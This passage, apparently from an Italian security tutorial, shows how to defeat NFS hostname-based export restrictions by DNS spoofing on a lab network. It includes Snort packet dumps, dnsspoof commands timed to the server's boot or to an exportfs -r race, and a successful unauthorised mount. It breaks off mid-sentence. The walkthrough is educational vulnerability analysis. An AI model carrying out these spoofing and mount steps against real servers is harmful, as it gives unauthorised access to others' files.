l'hostname trust.linuxbox.com | | che si trova nel file /etc/exports, questa operazione viene eseguita a | | tempo di boot o su richiesta dell'admin... | | | | 02/20-13:18:28.242207 192.168.1.5:53 -> 192.168.1.7:1072 | | UDP TTL:64 TOS:0x0 ID:395 IpLen:20 DgmLen:114 | | Len: 94 | | 4F 5D 85 80 00 01 00 01 00 01 00 01 05 74 72 75 O]...........tru | | 73 74 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D 00 st.linuxbox.com. | | 00 01 00 01 C0 0C 00 01 00 01 00 01 51 80 00 04 ............Q... | | C0 A8 01 06 C0 12 00 02 00 01 00 01 51 80 00 06 ............Q... | | 03 64 6E 73 C0 12 C0 40 00 01 00 01 00 01 51 80 .dns...@......Q. | | 00 04 C0 A8 01 05 ...... | | | | =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ | | | | Il server DNS restituisce a victim la risposta contenente l'IP dell'host | | trust.linuxbox.com ovvero 192.168.1.6, in fututo quando il server NFS | | riceverà una richiesta di mount remota confronterà l'indirizzo IP del | | richiedente con quello ottenuto da questa reply e nel qual caso | | dovessero risultare uguali permetterà il pieno accesso al filesystem. | | | | [...] | | | | La stessa query si ripete moltplici volte di conseguenza l'output | | restante di Snort è stato omesso in quanto ritenuto poco significativo. | | Se ora dovessimo provare a fare mount da un sistema diverso da trust il | | risultato sarebbe il seguente: | | | | attacker@attack:~# mount 192.168.1.7:/home/ftp /mnt/nfs | | mount: 192.168.1.7:/home/ftp failed, reason given by server: Permission | | denied | | | | Come atteso la nostra richiesta di mount viene scartata in quanto | | proviene dall'IP 192.168.1.4 (attack) che è ben diverso dall'IP | | 192.168.1.6 (trust) risolto a boot time. | | E' importante notare che nel momento della richiesta di mount da parte | | di un client remoto il server NFS non ha la necessità di consultare il | | DNS in quanto la risoluzione dell'hostname è avvenuta a tempo di boot. | | | | Ne consegue che se un malintenzionato volesse eludere i controlli di | | sicurezza di NFS dovrebbe agire durante il processo di avvio del server, | | qui di seguito mi limito ad illustrare in pochi e semplici passi come | | potrebbe procedere al fine di perseguire il suo scopo: | | | | attacker@attack:~# dnsspoof -f ~/hosts.txt | | dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.1.4] | | | | L'attacker mette in ascolto Dnsspoof sul proprio sistema in attesa di | | intercettare le DNS query causate dall'inizializzazione dei servizi NFS | | sulla macchina della vittima, nell'intento di restituire a victim delle | | reply a tali interrogazioni che riportino come IP del sistema trust l'IP | | stesso dell'host da cui l'attacker sta operando, ovvero 192.168.1.4. Le | | reply fasulle forgiate da Dnsspoof dovranno giungere a victim prima che | | tale sistema sia raggiunto dalle reply lecite inviategli dal DNS. | | | | Qui di seguito vediamo i messaggi che il server victim invia verso | | l'output standard a testimonianza del fatto che sta procedendo all' | | inizializzazione di tali servizi: | | | | Starting NFS services: | | /usr/sbin/exportfs -r | | /usr/sbin/rpc.rquotad | | /usr/sbin/rpc.nfsd 8 | | /usr/sbin/rpc.mountd --no-nfs-version 3 | | /usr/sbin/rpc.lockd | | /usr/sbin/rpc.statd | | | | Segue poi l'output di Dnsspoof che ha catturato e risposto a 4 query | | rivolte al nameserver (192.168.1.5) da parte di victim (192.168.1.7): | | | | attacker@attack:~# dnsspoof -f ~/hosts.txt | | dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.1.4] | | 192.168.1.7.1074 > 192.168.1.5.53: 62892+ A? trust.linuxbox.com | | 192.168.1.7.1074 > 192.168.1.5.53: 62893+ A? trust.linuxbox.com | | 192.168.1.7.1076 > 192.168.1.5.53: 6343+ A? trust.linuxbox.com | | 192.168.1.7.1076 > 192.168.1.5.53: 6344+ A? trust.linuxbox.com | | | | Vediamo il tutto dalla prospettiva offerta da Snort, ovvero come si | | sono svolte le cose a livello di pacchetto: | | | | attacker@attack:~# snort -vd udp port 53 | | 02/20-14:29:39.685629 192.168.1.7:1074 -> 192.168.1.5:53 | | UDP TTL:145 TOS:0x0 ID:8247 IpLen:20 DgmLen:64 DF | | Len: 44 | | F5 AC 01 00 00 01 00 00 00 00 00 00 05 74 72 75 .............tru | | 73 74 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D 00 st.linuxbox.com. | | 00 01 00 01 .... | | | | =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ | | | | 02/20-14:29:39.686343 192.168.1.5:53 -> 192.168.1.7:1074 | | UDP TTL:64 TOS:0x0 ID:416 IpLen:20 DgmLen:114 | | Len: 94 | | F5 AC 85 80 00 01 00 01 00 01 00 01 05 74 72 75 .............tru | | 73 74 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D 00 st.linuxbox.com. | | 00 01 00 01 C0 0C 00 01 00 01 00 01 51 80 00 04 ............Q... | | C0 A8 01 06 C0 12 00 02 00 01 00 01 51 80 00 06 ............Q... | | 03 64 6E 73 C0 12 C0 40 00 01 00 01 00 01 51 80 .dns...@......Q. | | 00 04 C0 A8 01 05 ...... | | | | =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ | | | | Questo secondo pacchetto è giunto a destinazione (victim) ma è stato | | ignorato in quanto PRECEDUTO dalla risposta fasulla fornita da Dnsspoof. | | Ora non ci resta che terminare l'esecuzione di Dnsspoof e accedere alle | | condivisioni di victim come se fossimo l'host legittimo: | | | | attacker@attack:~# mount 192.168.1.7:/home/ftp /mnt/nfs | | attacker@attack:~# | | | | Ora abbiamo accesso in sola lettura (ro) al ramo del filesystem remoto, | | e possiamo incominciare a riflettere sui reali problemi in cui possiamo | | incorrere a causa di un'amministrazione superficiale di tali risorse. | | | | 5.2 Exportfs | | Questo comando viene utilizzato per mantenere aggiornata la tabella | | delle condivisioni sul sistema server, in particolare è lo script di | | inizializzazione dei servizi NFS stesso a preoccuparsi di svolgere tale | | mansione per mezzo della chiamata exportfs -r. | | Tuttavia tale comando può contribuire ad aprire un varco nella sicurezza | | del sistema qualora venga richiamato in un tempo successivo all' | | esecuzione del demone mountd, questo può verificarsi a causa di uno | | script inaffidabile o per mano dell'admin che richiama tale comando da | | console. | | Ho effettuato questa scoperta in maniera del tutto casuale durante i | | probe che ho effettuato lungo il corso della stesura del presente | | articolo, premetto che ho avuto modo di testare il presunto bug solo su | | un sistema che monta Slackware8.0 e kernel 2.4.17. | | | | Ecco un esempio, mettiamo che l'admin decida di modificare il file | | /etc/exports e di conseguenza debba aggiornare le tabelle delle | | condivisioni con l'ausilio di exportfs -r senza prima provvedere all' | | arresto dei demoni interessati: | | | | victim@victim:~# exportfs -r | | | | Come possiamo vedere dall'output di Snort riportato qui di seguito, il | | file /etc/exports viene processato e l'hostname (trust) contenuto in | | esso viene risolto nell'IP corrispondente (192.168.1.6): | | | | attacker@attack:~# snort -vd udp port 53 | | 02/20-14:49:48.213636 192.168.1.7:1079 -> 192.168.1.5:53 | | UDP TTL:236 TOS:0x0 ID:19927 IpLen:20 DgmLen:64 DF | | Len: 44 | | CD 39 01 00 00 01 00 00 00 00 00 00 05 74 72 75 .9...........tru | | 73 74 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D 00 st.linuxbox.com. | | 00 01 00 01 .... | | | | =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ | | | | 02/20-14:49:48.214328 192.168.1.5:53 -> 192.168.1.7:1079 | | UDP TTL:64 TOS:0x0 ID:426 IpLen:20 DgmLen:114 | | Len: 94 | | CD 39 85 80 00 01 00 01 00 01 00 01 05 74 72 75 .9...........tru | | 73 74 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D 00 st.linuxbox.com. | | 00 01 00 01 C0 0C 00 01 00 01 00 01 51 80 00 04 ............Q... | | C0 A8 01 06 C0 12 00 02 00 01 00 01 51 80 00 06 ............Q... | | 03 64 6E 73 C0 12 C0 40 00 01 00 01 00 01 51 80 .dns...@......Q. | | 00 04 C0 A8 01 05 ...... | | | | =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ | | | | [...] | | | | A questo punto nel momento stesso in cui facciamo il primo tentativo di | | mount da un host non autorizzato notiamo una cosa molto strana, ossia... | | | | attacker@attack:~# mount 192.168.1.7:/home/ftp /mnt/nfs | | mount: 192.168.1.7:/home/ftp failed, reason given by server: Permission | | denied | | | | Osservando l'output di Snort riportato qui di seguito possiamo notare | | che in presenza del primo tentativo di mount del filesystem remoto si | | verificano ripetute query al DNS da parte di victim intese a risolvere | | l'hostname (trust) contenuto nel file /etc/exports: | | | | attacker@attack:~# snort -vd udp port 53 | | 02/20-14:52:05.417517 192.168.1.7:1079 -> 192.168.1.5:53 | | UDP TTL:197 TOS:0x0 ID:25875 IpLen:20 DgmLen:64 DF | | Len: 44 | | 28 CB 01 00 00 01 00 00 00 00 00 00 05 74 72 75 (............tru | | 73 74 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D 00 st.linuxbox.com. | | 00 01 00 01 .... | | | | =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ | | | | 02/20-14:52:05.418237 192.168.1.5:53 -> 192.168.1.7:1079 | | UDP TTL:64 TOS:0x0 ID:429 IpLen:20 DgmLen:114 | | Len: 94 | | 28 CB 85 80 00 01 00 01 00 01 00 01 05 74 72 75 (............tru | | 73 74 08 6C 69 6E 75 78 62 6F 78 03 63 6F 6D 00 st.linuxbox.com. | | 00 01 00 01 C0 0C 00 01 00 01 00 01 51 80 00 04 ............Q... | | C0 A8 01 06 C0 12 00 02 00 01 00 01 51 80 00 06 ............Q... | | 03 64 6E 73 C0 12 C0 40 00 01 00 01 00 01 51 80 .dns...@......Q. | | 00 04 C0 A8 01 05 ...... | | | | =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ | | | | [...] | | | | Facciamo il punto della situazione: | | - i demoni stavano runnando | | - viene richiamato exportfs -r | | - trust.linuxbox.com viene risolto in 192.168.1.6 | | - tale IP viene memorizzato per impedire query durante le richieste di | | mount che potranno verificarsi in futuro e che sarebbero altriementi | | soggette a vulnerabilità dovute al DNS spoofing | | - prima richiesta di mount | | - viene nuovamente richieta la risoluzione di trust!!! | | | | In parole povere, se exportfs -r è stato richiamato mentre mountd stava | | runnando e siamo i primi a richiedere il mount allora causeremo una | | query DNS da parte di victim e saremo in grado di fornire una risposta | | arbitraria avvalendosi di Dnsspoof e permettendo il mount del filesystem | | da parte dell'host desiderato! | | | | Ad esempio, l'admin ha appena modificato il file delle esportazioni e | | desidera che le modifiche apportate abbiano effetto, a tale scopo esegue | | il comando necessario (il demone mountd è in esecuzione): | | | | victim@victim:~# exportfs -r | | | | Terminata l'esecuzione del comando exportfs, l'attacker pone Dnsspoof in | | ascolto sull'interfaccia di rete e... | | | | attacker@attack:~# dnsspoof -f ~/hosts.txt | | dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.1.4] | | | | ...si prepara a richiedere il mount: | | | | attacker@attack:~# mount 192.168.1.7:/home/ftp /mnt/nfs | | attacker@attack:~# | | | | le query rivolte a risolvere l'hostname di trust.linuxbox.com vengo